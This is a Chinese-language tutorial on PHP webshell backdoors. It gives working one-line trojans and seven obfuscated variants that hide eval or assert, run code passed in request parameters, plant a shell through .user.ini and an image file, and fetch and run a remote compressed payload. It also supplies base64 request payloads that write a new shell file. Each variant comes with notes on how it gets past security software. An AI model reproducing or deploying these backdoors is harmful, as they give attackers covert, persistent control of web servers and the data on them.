网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文件与网站服务器WEB目录下正常的网页文件混在一起,使得可以通过使用浏览器来访问这些asp或者php文件,从而得到一个命令执行环境,最终达到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序命令等)。这样的文件叫做后门。 下面整理了一下当前最常见的PHP后门: 最流行的一种后门叫做一句话木马,其形式如下所示: 或者 1、在PHP脚本语言中,eval(code)的功能是将code组合成php指令,然后将指令执行。 2、就相当于执行 echo phpinfo();语句。 优点:短小精悍,功能强大。 缺点:容易被安全软件检测出来。 为了增强隐蔽性,出现了各种一句话木马的变形。 变形一: 改进的地方: 一般的安全软件可能会将eval+GET或POST判定为后门程序,因此这种变形将eval和GET或者POST分开,能够绕过这种情况。 不足之处: 只是改变了一下eval和get的位置,换汤不换药。 变形二: $a =str_replace(x,””,”axsxxsxexrxxt”);$a($_POST[“code”]); 发送请求的参数: code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”)) 还原出来的命令就是: assert(fputs(fopen(‘c.php’,w),””))。 改进的地方: 用字符串隐藏assert方法,并且利用它加上动态传入参数的方式构造后门。 变形三: $_GET[‘a’]($_GET[‘b’]); 发送请求的参数: a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”)) 改进的地方: 完全利用动态参数传入的方式构造后门,将敏感函数和执行的命令动态传入,效果如变形二。 变形四: ($code = $_POST[‘code’]) && @preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’); 改进的地方: 首先,将eval函数用str_rot13(‘riny’)隐藏。 然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。 变形五: $filename=$_GET[‘code’];include ($filename); 改进的地方: 由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。 变形六: 上传.user.ini,并且写入auto_prepend_file=code.gif 将一句话隐藏在code.gif中,并且将它上传到同一目录下。 改进的地方: 将一句话木马隐藏在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使得所有正常php文件都毫不知情的中招。 变形七: if(empty($_SESSION[‘api’]))$_SESSION[‘api’]=substr(file_get_contents(sprintf(‘%s? %s’,pack(“H*”,’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[‘api’]),null); 改进的地方: 第一,通过pack函数处理URL为http://7shell./svn/make.jpg 第二,利用file_get_contents获得make.jpg。 第三,利用substr截取3649字节以后的内容。 第四,利用gzuncompress方法将3649字节以后的内容解压出来。 第五,用preg_replace方法的e操作符将代码执行。 还有很多后续操作…… 以上为了试验操作的方便,采用的是Get方式获取PHP的执行代码,但实际上,由于URL长度的限制,一般采用Post的方式。由于PHP版本的不断更新,因此一些旧的方法可能已经不太好用,但是随着版本的更新,相信也会有更多越来越新奇的mm慢慢浮出水面,让我们拭目以待。by:Rule |
|